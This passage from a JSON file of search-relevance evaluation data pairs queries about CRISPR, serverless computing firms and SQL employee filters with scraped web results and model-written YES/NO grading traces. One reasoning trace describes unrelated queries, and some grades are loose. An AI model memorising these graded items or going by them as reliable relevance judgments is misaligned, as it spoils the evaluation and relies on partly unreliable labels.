they use these to correct pathogenic mutations in cell lines and introduce mutations in vivo.\n \n \n \n Shuqian Zhang , Liting Song \u00a0&amp;\u00a0Tian-Lin Cheng\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n Research\n \n \n \n \n \n 20 January 2023\n \n | \n Open Access\n \n \n \n \n \n CRISPR/Cas9-based homing gene drives have emerged as a pot",
                "model_trace": "Query Decomposition:\n1. {CRISPR CAS9}: The document is focused on CRISPR-Cas9 genome editing -> ([1], SATISFIED)\n2. {latest breakthrough}: The document lists recent research articles and breakthroughs related to CRISPR-Cas9, with dates as recent as January 2023 -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "CRISPR Gene Editing News - ScienceDaily",
                "url": "https://www.sciencedaily.com/news/plants_animals/crispr_gene_editing/",
                "published_date": null,
                "text": "New CRISPR-Cas Approach Permits More Precise DNA Cleavage \n\tOct. 11, 2022 \u2014 A team led by investigators has overcome a major constraint for cutting and editing DNA by CRISPR-Cas enzymes and other ... \n\t\t Microbial Enzymes Are the Key to Pectin Digestion in Leaf Beetles \n\tOct. 7, 2022 \u2014 A research team shows in a new study how leaf beetles could successfully use new and previously indigestible food sources in the course of evolution. The insects acquired enzymes from microorganisms ... \n\t\t Discovery Broadens Scope of Use of CRISPR Gene Editing \n\tOct. 6, 2022 \u2014 Using chemical design and synthesis, scientists brought together the Nobel-prize winning technology with therapeutic technology to overcome a critical limitation of CRISPR. Specifically, the ... \n\t\t RNA Origami Enables Applications in Synthetic Biology \n\tOct. 5, 2022 \u2014 Synthetic biology strives to achieve robust control of biological processes in order to create designer organisms for a variety of industrial, diagnostic, and therapeutic applications. Researchers ... \n\t\t Microbiologists Improve Taste of Beer \n\tOct. 4, 2022 \u2014 Investigators have improved the flavor of contemporary beer by identifying and engineering a gene that is responsible for much of the flavor of beer and some other alcoholic ... \n\t\t RNA-Editing Tool a Fast, Sensitive Test for COVID-19 \n\tSep. 22, 2022 \u2014 Researchers have modified a gene editing tool to serve as a highly sensitive diagnostic test for the presence of the SARS-CoV-2 ... \n\t\t Plant Breeding: Using 'Invisible' Chromosomes to Pass on Packages of Positive Traits \n\tSep. 20, 2022 \u2014 The ideal crop plant is tasty and high-yielding while also being resistant to diseases and pests. But if the relevant genes are far apart on a chromosome, some of these positive traits can be lost ... \n\t\t New Approach More Than Doubles Stem Cell Editing Efficiency \n\tSep. 8, 2022 \u2014 A team of interdisciplinary researchers has developed techniques to improve the efficiency of CRISPR-Cas9, the genome editing technique that earned the Nobel Prize in ... \n\t\t Mic",
                "model_trace": "Query Decomposition:\n1. [CRISPR CAS9]: The document contains multiple articles related to CRISPR-Cas9, including breakthroughs and advancements -> ([1], SATISFIED)\n2. [latest breakthrough]: The document includes recent breakthroughs in CRISPR-Cas9 technology, with dates as recent as October 2022 -> ([1], SATISFIED)\n\nAssessment: The document satisfies both subcomponents as it provides recent and relevant information on CRISPR-Cas9 breakthroughs. YES"
            },
            {
                "grade": "YES",
                "title": "CRISPR gene-editing: U.S. poised to approve breakthrough treatment",
                "url": "https://www.cnbc.com/2023/12/07/crispr-gene-editing-treatment-us-approval.html",
                "published_date": null,
                "text": "At age 19, Joe Tsogbe underwent his first hip replacement. In his 20s, he averaged about nine hospitalizations a year. By his 30s, that rose to more than a dozen.\u00a0 All the result of sickle cell disease, an inherited blood disorder where a genetic mutation causes normally full-moon shaped red blood cells to form into half moons and get stuck inside blood vessels, restricting blood flow and causing bouts of excruciating pain.\u00a0 The disease affects about 100,000 people in the U.S., many of whom are Black. Few treatments are available, and the only cure is a bone marrow transplant where a patient receives healthy blood stem cells from a donor. New genetic treatments aim to offer relief while eliminating the need to track down donors. Tsogbe, now 37, received one of those options, known as exa-cel and co-developed by and , via a clinical trial in 2021. The treatment uses Nobel Prize-winning technology called CRISPR to edit a person's DNA and alleviate the symptoms of sickle cell disease.\u00a0 U.S. regulators are expected to approve exa-cel for use in sickle cell patients by the end of this week. The U.K. approved it under the brand name Casgevy last month. Regulators in the U.S. are also reviewing another gene therapy from called lovo-cel. It works differently than exa-cel but is administered similarly and is also intended to eliminate pain crises.\u00a0It's expected to be approved later this month. Approval of exa-cel by the U.S. Food and Drug Administration would mark a scientific milestone about a decade after the discovery of CRISPR and a breakthrough for patients desperate for a better option. It could also present a major test for the American health-care system, with Wall Street eyeing a price tag of around $2 million per patient. Tens of thousands of people could be eligible.\u00a0    First-of-its-kind treatment  In 2012, researchers Jennifer Doudna and Emmanuelle Charpentier published their seminal paper on a system for editing genes called CRISPR-Cas9. The finding sparked a rush of companies seeking to leverage that insigh",
                "model_trace": "Query Decomposition:\n1. {CRISPR CAS9}: The document discusses CRISPR-Cas9 technology, specifically mentioning its development and application -> ([1], SATISFIED)\n2. {latest breakthrough}: The document details a recent breakthrough involving the approval of a CRISPR-based treatment for sickle cell disease in the U.S. -> ([1], SATISFIED)\n\nAssessment: The document provides relevant information about the latest breakthrough involving CRISPR-Cas9, specifically the approval of a new treatment for sickle cell disease. Both key subcomponents are satisfied. YES."
            }
        ]
    },
    {
        "query": "cloud computing company that provides scalable serverless computing services",
        "grid_pos": [
            0,
            4
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Company/Startup/Corporation",
        "reasoning_trace": [
            "The queries cover a range of technology sectors including AI, biotech, consumer electronics, cloud computing, and renewable energy. They require knowledge of the tech industry, business models, and technical capabilities to properly evaluate. The queries are specific with technical details but still broadly applicable to major tech companies and startups."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "ActiveAether \u2013 Serverless Computing",
                "url": "https://activeaether.com/",
                "published_date": "2023-01-01",
                "text": "We are surrounded by opportunity in the form of untapped computing power. ActiveAether leverages processing power on devices across the globe to create a serverless fog computing platform for developers. From cloud to edge and anywhere in between, serverless in the fog means your code can run anywhere, period.\n\nAll the benefits of FaaS and serverless, combined with an infrastructure that's closer, cheaper and more diverse. Just write and upload your code, ActiveAether takes care of the rest.\n\nEarn FogCoin by renting out processing power on devices you already own.\n\nInterested in partnering with ActiveAether?Contact us at\n\nFogCoin transforms our idle compute into a global marketplace.\nFogCoin is the blockchain-based cryptocurrency that enables decentralized transactions between participants in the ActiveAether network.\n\n[gravityform id=\"4\" title=\"true\" description=\"true\"]\n\n[gravityform id=\"5\" title=\"true\" description=\"true\"]",
                "model_trace": "Query Decomposition:\n1. {cloud computing company}: The document describes ActiveAether, which leverages processing power across devices globally, indicating it is a cloud computing company -> ([1], SATISFIED)\n2. {provides scalable serverless computing services}: The document mentions that ActiveAether offers a serverless fog computing platform for developers, which implies scalability and serverless computing services -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "Home | EDJX Inc.",
                "url": "https://edjx.io/",
                "published_date": "2022-01-01",
                "text": "Serverless Edge Computing\n\nLaunch smarter, faster apps, websites, sensors and data pipelines\n\nSign up Now >\n\nNo VMs. No Kubernetes. No Servers. Ultra Low Latency.\n\nEDJX Edge Platform\n\nEdge Specific Features\n\nSensor Hosting\n\nEDJX is the \"easy button\" for IoT sensor hosting\n\nPeer-to-Peer \n Self healing mesh compute and storage\n\nSmart Routing\n Automatically run on the closest compute node\n\nFar Edge Hardware\n Deploy apps to the far edge without Virtual Machines\n\nOther Players\n\nAWS, MS Azure, Google, Cloudflare, Fastly, Akamai, Stackpath\n\nSorry. These companies don't have any Edge Platform specific features compared to EDJX.\n\nThe Edge Everywhere.\n\nEDJX is deploying thousands of Nodes to create a serverless far edge network that\u2019s faster, more reliable, and more secure.\n\nWe run code at ultra-low latency, closer to users and connected things than ever before\n .\n\nSign Up Now >\n\nMost Recent Insights",
                "model_trace": "Query Decomposition:\n1. {cloud computing company}: EDJX is a cloud computing company -> ([1], SATISFIED)\n2. {provides scalable serverless computing services}: The document mentions that EDJX provides serverless edge computing services, which implies scalability -> ([2], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Deploy serverless workers that run invincibly | Golem",
                "url": "https://www.golem.cloud/",
                "published_date": "2023-06-22",
                "text": "Golem Cloud is a new serverless platform built on an emerging paradigm called durable computing. With durable computing, Golem Cloud lets you deliver robust backends that never go down. Unveiling durable computing Durable computing guarantees your business logic executes completely, even in the presence of updates and infrastructure failures. From workflows to process automation and microservice orchestration, Golem gives you effortless and flawless reliability. Get started In just a few minutes, you can go from zero to having your first invincible backend deployed to Golem Cloud, using the programming language and libraries of your choice. 1 Download Golem CLI The Golem CLI is a friendly tool that downloads in seconds and runs natively on all major operating systems. 2 Write Business Logic Develop your business logic in any language that targets WASM, including Rust, Zig, Go, C/C++, Javascript, and others. 3 Define Your API Using the Management Console or YAML, define a versioned API that is automatically wired up to your business logic. 4 Launch Your Backend Instantly release new versions of your API, powered by your business logic, auto-scaled, and executed invincibly. Benefits Golem Cloud gives you automatic scalability and flawless reliability with a radical new computing paradigm that lets you focus on business logic. Invincible Execution Your code executes invincibly on Golem\u2019s durable cloud, which gives you radically simpler ways to build highly scalable and robust backends. Serverless Enjoy automatic scalability and cost efficiency, as well as high productivity and rapid iteration by ditching servers and focusing on business logic. Fully Managed Golem Cloud is fully managed, requiring no ops, and a self-hosted edition is available to run hassle-free inside Kubernetes for easy management. Durable State Since your workers are invincible, you can store critical data in memory without separate persistence, simplifying architecture & improving performance. Secure-by-default Thanks to verified WebAssembly, you",
                "model_trace": "Query Decomposition:\n1. {cloud computing company}: The document is about Golem Cloud, which is a cloud computing company -> ([1], SATISFIED)\n2. {provides scalable serverless computing services}: The document mentions that Golem Cloud offers serverless computing with automatic scalability -> ([1], SATISFIED)\n\nAssessment: Both key subcomponents are clearly satisfied by the document. YES."
            },
            {
                "grade": "YES",
                "title": "Serverless Computing \u2013 Amazon Web Services",
                "url": "https://aws.amazon.com/serverless/",
                "published_date": null,
                "text": "Serverless on AWS \n \n Build and run applications without thinking about servers \n  \n  \n  \n AWS offers technologies for running code, managing data, and integrating applications, all without managing servers. Serverless technologies feature automatic scaling, built-in high availability, and a pay-for-use billing model to increase agility and optimize costs. These technologies also eliminate infrastructure management tasks like capacity provisioning and patching, so you can focus on writing code that serves your customers. Serverless applications start with AWS Lambda, an event-driven compute service natively integrated with over 200 AWS services and software as a service (SaaS) applications.  \n  \n  \n  \n \n Move from idea to market, faster \n  \n  \n \n  \n \n Eliminate operational overhead so your teams can release quickly, get feedback, and iterate to get to market faster. \n  \n  \n  \n \n With a pay-for-value billing model, resource utilization is automatically optimized and you never pay for over-provisioning. \n  \n  \n \n  \n \n Build better applications, easier \n  \n  \n  \n \n With technologies that automatically scale from zero to peak demands, you can adapt to customer needs faster than ever. \n  \n  \n  \n \n Serverless applications have built-in service integrations, so you can focus on building your application instead of configuring it. \n  \n  \n  \n  \n  Take the next step \n  \n  \n \n Builders \n  \n  \n  \n  \n  \n Ready to build? Head over to the learning library to get started with hands-on serverless tutorials.  \n \n  \n  \n \n Business Leaders \n  \n  \n  \n  \n  \n Want to empower your development teams? Check out these insights from IDC.  \n \n  \n  \n \n Startups \n  \n  \n  \n  \n  \n Need to build an MVP fast? Learn how to access credits, and build your first application.  \n \n  \n \n  \n  \n  \n \n  Modern applications are built serverless-first, a strategy that prioritizes the adoption of serverless services, so you can increase agility throughout your application stack. We\u2019ve developed serverless services for all three layers of your stack: compute, in",
                "model_trace": "Query Decomposition:\n1. {cloud computing company}: The document is from Amazon Web Services (AWS), which is a cloud computing company -> ([1], SATISFIED)\n2. {provides scalable serverless computing services}: The document describes AWS's serverless computing services, including automatic scaling and a pay-for-use billing model, which indicates scalability -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Top 4 Serverless Computing Platforms in 2021",
                "url": "https://www.loginradius.com/blog/engineering/serverless-overview/",
                "published_date": null,
                "text": "Traditional software development is being transformed by serverless computing. Check out the best serveless computing platforms that will assist you in getting started.    Serverless computing has been gaining a lot of popularity in the last couple of years, and for a good reason. It saves developer's time, allowing them to focus on writing code rather than dealing with infrastructure. Deploying powerful and scalable applications has generally become much quicker and easier with serverless. However, there can be drawbacks as well, such as vendor lock-in and lack of control.\nThis blog will briefly go over some of the most popular serverless computing options from major cloud providers. There are also plenty of great resources online explaining serverless architecture in detail, so definitely go check those out if you haven't already. Now, let's go over some of the popular choices for serverless computing.\n  Popular Cloud Options\nAlmost all major cloud providers offer serverless computing such as AWS, Azure, Google Cloud, IBM Cloud, Alibaba Cloud, etc. In this blog, we'll only be going over a few.\n  1. AWS Lambda\nAWS Lambda was released in 2014 and has played a significant role in the rise of serverless computing.\nLambda functions run using AWS Firecracker, an open-source virtualization project that focuses on securing and isolating functions while enabling the best performance possible.\nIt supports plenty of runtimes: Node.js, Python, Ruby, Java, Go, .NET Core, and even custom runtimes for cases where the desired runtime is not natively supported.\nAn excellent way to get support is through their official public forum, where AWS employees can answer your questions.\n AWS Lambda offers free usage of 1M requests per month and 400,000 GB-seconds of computing time per month.\nRecent notable updates include:\n Dec 2020: Function's can be defined as container images up to 10GB. Previously a function's code had to be written through the UI code editor or uploaded as zip archives.\n Dec 2020: Function's memory can be configura",
                "model_trace": "Query Decomposition:\n1. {cloud computing company}: The document mentions various cloud computing companies like AWS, Azure, Google Cloud, IBM Cloud, and Alibaba Cloud -> ([1], SATISFIED)\n2. {provides scalable serverless computing services}: The document discusses serverless computing services provided by these cloud companies, specifically mentioning AWS Lambda and its scalability features -> ([1], SATISFIED)\n\nAssessment: The document provides information about cloud computing companies and their scalable serverless computing services, satisfying both key subcomponents. YES"
            },
            {
                "grade": "YES",
                "title": "What Is Serverless Computing?",
                "url": "https://www.ibm.com/topics/serverless",
                "published_date": null,
                "text": "Given its unique combination of attributes and benefits, serverless architecture is well-suited for use cases around microservices, mobile backends, and data and event stream processing.\nServerless and microservices\nThe most common use case of serverless today is supporting microservices architectures. The microservices model is focused on creating small services that do a single job and communicate with one another using APIs. While microservices can also be built and operated using either PaaS or containers, serverless has gained significant momentum given its attributes around small bits of code, inherent and automatic scaling, rapid provisioning, and a pricing model that never charges for idle capacity.\nAPI backends\nAny action (or function) in a serverless platform can be turned into a HTTP endpoint ready to be consumed by web clients. When enabled for web, these actions are called web actions. Once you have web actions, you can assemble them into a full-featured\u00a0API\u00a0with an API gateway that brings additional security, OAuth support, rate limiting, and custom domain support.\nFor hands-on experience with API backends, try the tutorial \u201cServerless web application and API.\u201d\nData processing\nServerless is well-suited to working with structured text, audio, image, and video data, around tasks such as data enrichment, transformation, validation, cleansing; PDF processing; audio normalization; image processing (rotation, sharpening, noise reduction, thumbnail generation); optical character recognition (OCR); and video transcoding. For a detailed image process use case, read \u201cHow SiteSpirit got 10x faster, at 10% of the cost.\u201d\nMassively parallel compute/\u201cMap\u201d operations\nAny kind of embarrassingly parallel task is a good use case for a serverless runtime, with each parallelizable task resulting in one action invocation. Sample tasks include everything from data search and processing (specifically Cloud Object Storage),\u00a0Map(-Reduce)\u00a0operations and web scraping to business process automation, hyperparameter tuning, Monte",
                "model_trace": "Query Decomposition:\n1. {cloud computing company}: The document is from IBM, which is a cloud computing company -> ([1], SATISFIED)\n2. {provides scalable serverless computing services}: The document discusses serverless computing, including its scalability and use cases -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            }
        ]
    },
    {
        "query": "dbo.Employees table sql query to get employees who have been with company for 5+ years and make over 100k",
        "grid_pos": [
            0,
            5
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Github/StackOverflow/Code/Debugging Resource",
        "reasoning_trace": [
            "1. This query requires knowledge of JavaScript date picker UI elements, as well as constraints around weekday-only selection. It tests Exa's understanding of common web development challenges.\n\n2. This SQL query tests Exa's ability to parse complex database queries with multiple conditions. It requires understanding of common business intelligence use cases.\n\n3. This query tests Exa's web scraping capabilities, including handling authentication and extracting structured data from websites. It requires knowledge of Python web scraping libraries.\n\n4. This query tests Exa's ability to find relevant open source projects on GitHub that implement machine learning techniques. It requires understanding of common deep learning application areas.\n\n5. This query tests Exa's debugging capabilities by asking for help troubleshooting a specific technical issue in a React application. It requires knowledge of common React performance problems."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Oracle Live SQL",
                "url": "https://livesql.oracle.com/apex/livesql/s/k8zkivxrwp3xddekpqldtecc8",
                "published_date": "2021-01-18",
                "text": "select * from hr.employees\n\nEMPLOYEE_ID FIRST_NAME LAST_NAME EMAIL PHONE_NUMBER HIRE_DATE JOB_ID SALARY COMMISSION_PCT MANAGER_ID DEPARTMENT_ID 100 Steven King SKING 515.123.4567 17-JUN-03 AD_PRES 24000 - - 90 101 Neena Kochhar NKOCHHAR 515.123.4568 21-SEP-05 AD_VP 17000 - 100 90 102 Lex De Haan LDEHAAN 515.123.4569 13-JAN-01 AD_VP 17000 - 100 90 103 Alexander Hunold AHUNOLD 590.423.4567 03-JAN-06 IT_PROG 9000 - 102 60 104 Bruce Ernst BERNST 590.423.4568 21-MAY-07 IT_PROG 6000 - 103 60 105 David Austin DAUSTIN 590.423.4569 25-JUN-05 IT_PROG 4800 - 103 60 106 Valli Pataballa VPATABAL 590.423.4560 05-FEB-06 IT_PROG 4800 - 103 60 107 Diana Lorentz DLORENTZ 590.423.5567 07-FEB-07 IT_PROG 4200 - 103 60 108 Nancy Greenberg NGREENBE 515.124.4569 17-AUG-02 FI_MGR 12008 - 101 100 109 Daniel Faviet DFAVIET 515.124.4169 16-AUG-02 FI_ACCOUNT 9000 - 108 100 110 John Chen JCHEN 515.124.4269 28-SEP-05 FI_ACCOUNT 8200 - 108 100 111 Ismael Sciarra ISCIARRA 515.124.4369 30-SEP-05 FI_ACCOUNT 7700 - 108 100 112 Jose Manuel Urman JMURMAN 515.124.4469 07-MAR-06 FI_ACCOUNT 7800 - 108 100 113 Luis Popp LPOPP 515.124.4567 07-DEC-07 FI_ACCOUNT 6900 - 108 100 114 Den Raphaely DRAPHEAL 515.127.4561 07-DEC-02 PU_MAN 11000 - 100 30 115 Alexander Khoo AKHOO 515.127.4562 18-MAY-03 PU_CLERK 3100 - 114 30 116 Shelli Baida SBAIDA 515.127.4563 24-DEC-05 PU_CLERK 2900 - 114 30 117 Sigal Tobias STOBIAS 515.127.4564 24-JUL-05 PU_CLERK 2800 - 114 30 118 Guy Himuro GHIMURO 515.127.4565 15-NOV-06 PU_CLERK 2600 - 114 30 119 Karen Colmenares KCOLMENA 515.127.4566 10-AUG-07 PU_CLERK 2500 - 114 30 120 Matthew Weiss MWEISS 650.123.1234 18-JUL-04 ST_MAN 8000 - 100 50 121 Adam Fripp AFRIPP 650.123.2234 10-APR-05 ST_MAN 8200 - 100 50 122 Payam Kaufling PKAUFLIN 650.123.3234 01-MAY-03 ST_MAN 7900 - 100 50 123 Shanta Vollman SVOLLMAN 650.123.4234 10-OCT-05 ST_MAN 6500 - 100 50 124 Kevin Mourgos KMOURGOS 650.123.5234 16-NOV-07 ST_MAN 5800 - 100 50 125 Julia Nayer JNAYER 650.124.1214 16-JUL-05 ST_CLERK 3200 - 120 50 126 Irene Mikkilineni IMIKKILI 650.124.1224 28-SEP",
                "model_trace": "Query Decomposition:\n1. {dbo.Employees table}: This document refers to the hr.employees table, which is not the dbo.Employees table -> ([0], UNSURE)\n2. {SQL query to get employees who have been with the company for 5+ years}: The document does not provide a SQL query for this specific condition -> ([0], UNSURE)\n3. {SQL query to get employees who make over 100k}: The document does not provide a SQL query for this specific condition -> ([0], UNSURE)\n\nAssessment: The document does not contain the dbo.Employees table or provide a SQL query to filter employees based on tenure and salary. Therefore, it does not satisfy any of the key subcomponents. NO."
            },
            {
                "grade": "NO",
                "title": "*************",
                "url": "https://sqlize.online/sql/mssql2019/47816fc79039d36ab8e50535eacfc651",
                "published_date": "2022-04-21",
                "text": "CREATE TABLE TimeOffRequests\n ([EmployeeID] int, [SubmitDate] datetime, [StartDate] datetime, [EndDate] datetime, [Hours] varchar(6))\n;\n\nINSERT INTO TimeOffRequests\n ([EmployeeID], [SubmitDate], [StartDate], [EndDate], [Hours])\nVALUES\n (2, '2022-04-21 00:00:00', '2022-04-28 00:00:00', '2022-04-29 00:00:00', '16'),\n (2, '2022-04-20 00:00:00', '2022-05-12 00:00:00', '2022-05-12 00:00:00', '8'),\n (3, '2022-04-11 00:00:00', '2022-09-05 00:00:00', '2022-09-08 00:00:00', '24'),\n (1, '2022-04-01 00:00:00', '2022-04-03 00:00:00', '2022-04-03 00:00:00', '8')\n;\nCREATE TABLE Employee\n ([EmployeeID] int, [FirstName] varchar(14), [LastName] varchar(16), [HireDate] datetime)\n;\n\nINSERT INTO Employee\n ([EmployeeID], [FirstName], [LastName], [HireDate])\nVALUES\n (1, 'Chenandler', 'Bong', '2004-05-06 00:00:00'),\n (2, 'Jimothy', 'Halpert', '2013-05-16 00:00:00'),\n (3, 'Dante', 'Thunderstone', '2021-09-16 00:00:00')\n;\nSELECT \n e.*\n ,r.*\n ,CASE \n WHEN DATEADD(year, DATEDIFF(year, e.HireDate, GETDATE()), e.HireDate) <= GETDATE() THEN DATEADD(year, DATEDIFF(year, e.HireDate, GETDATE()), e.HireDate)\n WHEN DATEADD(year, DATEDIFF(year, e.HireDate, GETDATE()), e.HireDate) > GETDATE() THEN DATEADD(year, DATEDIFF(year, e.HireDate, GETDATE())-1, e.HireDate)\n END AS Anniversary\n FROM Employee e\n JOIN TimeOffRequests r ON r.EmployeeID = e.EmployeeID\n WHERE r.StartDate > (CASE \n WHEN DATEADD(year, DATEDIFF(year, e.HireDate, GETDATE()), e.HireDate) <= GETDATE() THEN DATEADD(year, DATEDIFF(year, e.HireDate, GETDATE()), e.HireDate)\n WHEN DATEADD(year, DATEDIFF(year, e.HireDate, GETDATE()), e.HireDate) > GETDATE() THEN DATEADD(year, DATEDIFF(year, e.HireDate, GETDATE())-1, e.HireDate)\n END)\n\nSQL version:",
                "model_trace": "Query Decomposition:\n1. {SQL query for dbo.Employees table}: This document contains SQL queries, so this subcomponent is likely met -> ([1], SATISFIED)\n2. {Get employees who have been with the company for 5+ years}: The document includes SQL code that calculates the anniversary of employees based on their hire date, which can be used to determine if they have been with the company for 5+ years -> ([1], SATISFIED)\n3. {Get employees who make over 100k}: The document does not mention or include salary information or a query that filters employees based on their salary -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {SQL query for dbo.Employees table} and {Get employees who have been with the company for 5+ years}. Since these are satisfied and the document does not provide information on salaries, it is not fully helpful for the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "Employees < 200 - Airtable",
                "url": "https://airtable.com/shrNG9vTV5vNpcr5t",
                "published_date": "2022-01-01",
                "text": "Drag to adjust frozen columns\n\nAlert\n\nLorem ipsum\n Okay",
                "model_trace": "Query Decomposition:\n1. {SQL query}: The document does not contain any SQL query -> ([0], UNSATISFIED)\n2. {dbo.Employees table}: The document does not mention the dbo.Employees table -> ([0], UNSATISFIED)\n3. {employees who have been with the company for 5+ years}: The document does not contain information about employee tenure -> ([0], UNSATISFIED)\n4. {employees who make over 100k}: The document does not contain information about employee salaries -> ([0], UNSATISFIED)\n\nAssessment: The document does not contain any relevant information to satisfy the query subcomponents. NO."
            },
            {
                "grade": "NO",
                "title": "Highest Salary in each department - sql",
                "url": "https://stackoverflow.com/questions/8477040/highest-salary-in-each-department",
                "published_date": null,
                "text": "Thank you @JoeStefanelli for his answer (https://stackoverflow.com/a/8477083/4691279). He provided SQL Server 2005+ version and I used the same to create the Oracle version:\n WITH cteRowNum(dep_id, emp_id, Salary, RowNums) AS (\n    SELECT dep_id, emp_id, Salary,\n           DENSE_RANK() OVER(PARTITION BY dep_id ORDER BY Salary DESC) AS RowNums\n        FROM employee\n)\nSELECT cteRowNum.dep_id, cteRowNum.emp_id, cteRowNum.Salary\n    FROM cteRowNum\n    WHERE cteRowNum.RowNums = 1;\n \nYou can test this using livesql.oracle.com, below are my DDLs and DMLs you can use:\n create table employee (\nemp_id varchar2(50) NOT NULL,\ndep_id varchar2(50) NOT NULL,\nsalary number not null\n);\ncreate table department (\ndep_id varchar2(50) NOT NULL,\ndep_name varchar2(50) NOT NULL\n);\ninsert into employee values (100, 5000, 1000000);\ninsert into employee values (200, 5000, 2000000);\ninsert into employee values (300, 5000, 3000000);\ninsert into employee values (400, 6000, 1500000);\ninsert into employee values (500, 6000, 1500000);\ninsert into employee values (600, 7000, 1000000);\ninsert into employee values (700, 7000, 1000000);\ninsert into employee values (800, 7000, 2000000);\ninsert into department values (5000, 'dep 1');\ninsert into department values (6000, 'dep 2');\ninsert into department values (7000, 'dep 3');\n \nAnd below is the success screenshot of the query:\n   \n     ||||I||||Skip to main content\n  Stack Overflow\n   1. About\n   2. Products\n   3. OverflowAI\n     1. Stack Overflow Public questions & answers\n     2. Stack Overflow for Teams Where developers & technologists share private knowledge with coworkers\n     3. Talent Build your employer brand\n     4. Advertising Reach developers & technologists worldwide\n     5. Labs The future of collective knowledge sharing\n     6. About the company\n              Loading\u2026\n       1. current community\n              + Stack Overflow\n                help chat\n            + Meta Stack Overflow\n          your communities\n            Sign up or log in to customize your list.\n          more stack ex",
                "model_trace": "Query Decomposition:\n1. {dbo.Employees table SQL query}: The document contains SQL queries related to employee data -> ([1], SATISFIED)\n2. {employees who have been with the company for 5+ years}: The document does not mention employee tenure or how to calculate it -> ([0], UNSURE)\n3. {employees who make over 100k}: The document mentions salary but does not specify filtering employees based on a salary threshold -> ([2], UNSATISFIED)\n\nAssessment: The document does not address the specific requirement of filtering employees based on tenure or salary threshold. Therefore, it is not helpful for the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "SQL: Employees with more than 27 years of experience",
                "url": "https://www.w3resource.com/sql-exercises/employee-database-exercise/sql-employee-database-exercise-21.php",
                "published_date": null,
                "text": "Last update on June 05 2024 06:05:58 (UTC/GMT +8 hours)\nSQL employee Database: Exercise-21 with Solution\n[An editor is available at the bottom of the page to write and execute the scripts.]\n 21. From the following table, write a SQL query to identify employees with more than 27 years of experience. Return complete information about the employees.\n Sample table: employees \n Pictorial Presentation: \n Sample Solution: \n SELECT *\nFROM employees\nWHERE EXTRACT(YEAR\n              FROM age(CURRENT_DATE, hire_date)) &gt; 27;\n \nSample Output:\n emp_id | emp_name | job_name | manager_id | hire_date  | salary  | commission | dep_id\n--------+----------+----------+------------+------------+---------+------------+--------\n  64989 | ADELYN   | SALESMAN |      66928 | 1991-02-20 | 1700.00 |     400.00 |   3001\n  65271 | WADE     | SALESMAN |      66928 | 1991-02-22 | 1350.00 |     600.00 |   3001\n  65679 | SANDRINE | CLERK    |      69062 | 1990-12-18 | 900.00  |            |   2001\n(3 rows)\n Explanation: \nThe said query in SQL that retrieves all the rows from the 'employees' table where the number of years between the \"hire_date\" column and the current date is greater than 27 years. \nThe \"age\" function calculates the time interval between the current date and the \"hire_date\" column and returns it as an interval value. The interval value is then passed to the \"EXTRACT\" function to extract the year value. \nThe result will include all columns of the selected rows. \nPractice Online\n Sample Database: employee \n Have another way to solve this solution? Contribute your code (and comments) through Disqus. \n Previous SQL Exercise:  List all the employees whose designation is CLERK. \nNext SQL Exercise:  List the employees whose salaries are less than 3500. \n What is the difficulty level of this exercise? \nTest your Programming skills with w3resource's quiz.  \ufeff\n Weekly Trends and Language Statistics \n Weekly Trends and Language Statistics \n ||||I||||      w3resource\n          SQL Exercise: Employees with more than 27 years of experience\n   ",
                "model_trace": "Query Decomposition:\n1. {SQL query to get employees who have been with the company for 5+ years}: The document provides a similar query to get employees with more than 27 years of experience. This is not exactly what the user is looking for, but it is related -> ([2], UNSURE)\n2. {employees who make over 100k}: The document does not address salary conditions in its provided SQL query -> ([1], UNSATISFIED)\n\nAssessment: The document does not fully satisfy the query requirements. The provided SQL query only addresses the tenure condition (and for a different number of years), and it does not address the salary condition at all. Therefore, the document is not helpful for the user's specific request. NO."
            },
            {
                "grade": "NO",
                "title": "What is the SQL query to display the employees data along ...",
                "url": "https://www.quora.com/What-is-the-SQL-query-to-display-the-employees-data-along-with-bonus-and-department-details",
                "published_date": null,
                "text": "Present the schema for all tables where the relevant data is stored, note the column names for each element you want to see, and sure to provide foreign/primary keys and relevant filters. If you do that, any first-year SQL coder can write the SQL for you.   If you\u2019re using a specific third-party database application, you might find someone who knows all of that and can guess at your many unstated business requirements. That person could probably write the SQL you need, but refinement would certainly be needed as your unstated requirements are discovered and clarified.   SQL isn\u2019t magic, nor are its practitioners psychic.             DataGrip, a powerful GUI tool for SQL.     Smart code completion, on-the-fly analysis, quick-fixes, refactorings that work in SQL files, and more.      ||||I||||              Skip to content\n              Skip to search\n              Sign In\n                          What is the SQL query to display the employees data along with bonus, and department details?\n                          All related (33)\n                    Sort\n                          Recommended\n                                                        John Hopkins\n                                                  Working with SQL databases since the early 90's \u00b7 Author has 502 answers and 631.7K answer views\n                                                \u00b7 6y\n                                                  Present the schema for all tables where the relevant data is stored, note the column names for each element you want to see, and sure to provide foreign/primary keys and relevant filters. If you do that, any first-year SQL coder can write the SQL for you.\n                                                  If you\u2019re using a specific third-party database application, you might find someone who knows all of that and can guess at your many unstated business requirements. That person could probably write the SQL you need, but refinement would certainly be needed as your unstated requirements are discovered and clarifie",
                "model_trace": "Query Decomposition:\n1. {SQL query to get employees who have been with the company for 5+ years}: The document does not provide a specific SQL query or relevant schema details for this requirement -> ([0], UNSATISFIED)\n2. {SQL query to get employees who make over 100k}: The document does not provide a specific SQL query or relevant schema details for this requirement -> ([0], UNSATISFIED)\n3. {dbo.Employees table}: The document does not mention the dbo.Employees table -> ([0], UNSURE)\n\nAssessment: The document does not provide any specific SQL queries or schema details that would help the user construct the query they need. It primarily discusses general advice on how to approach writing SQL queries, which does not satisfy the user's specific requirements.\n\nNO."
            }
        ]
    },
    {
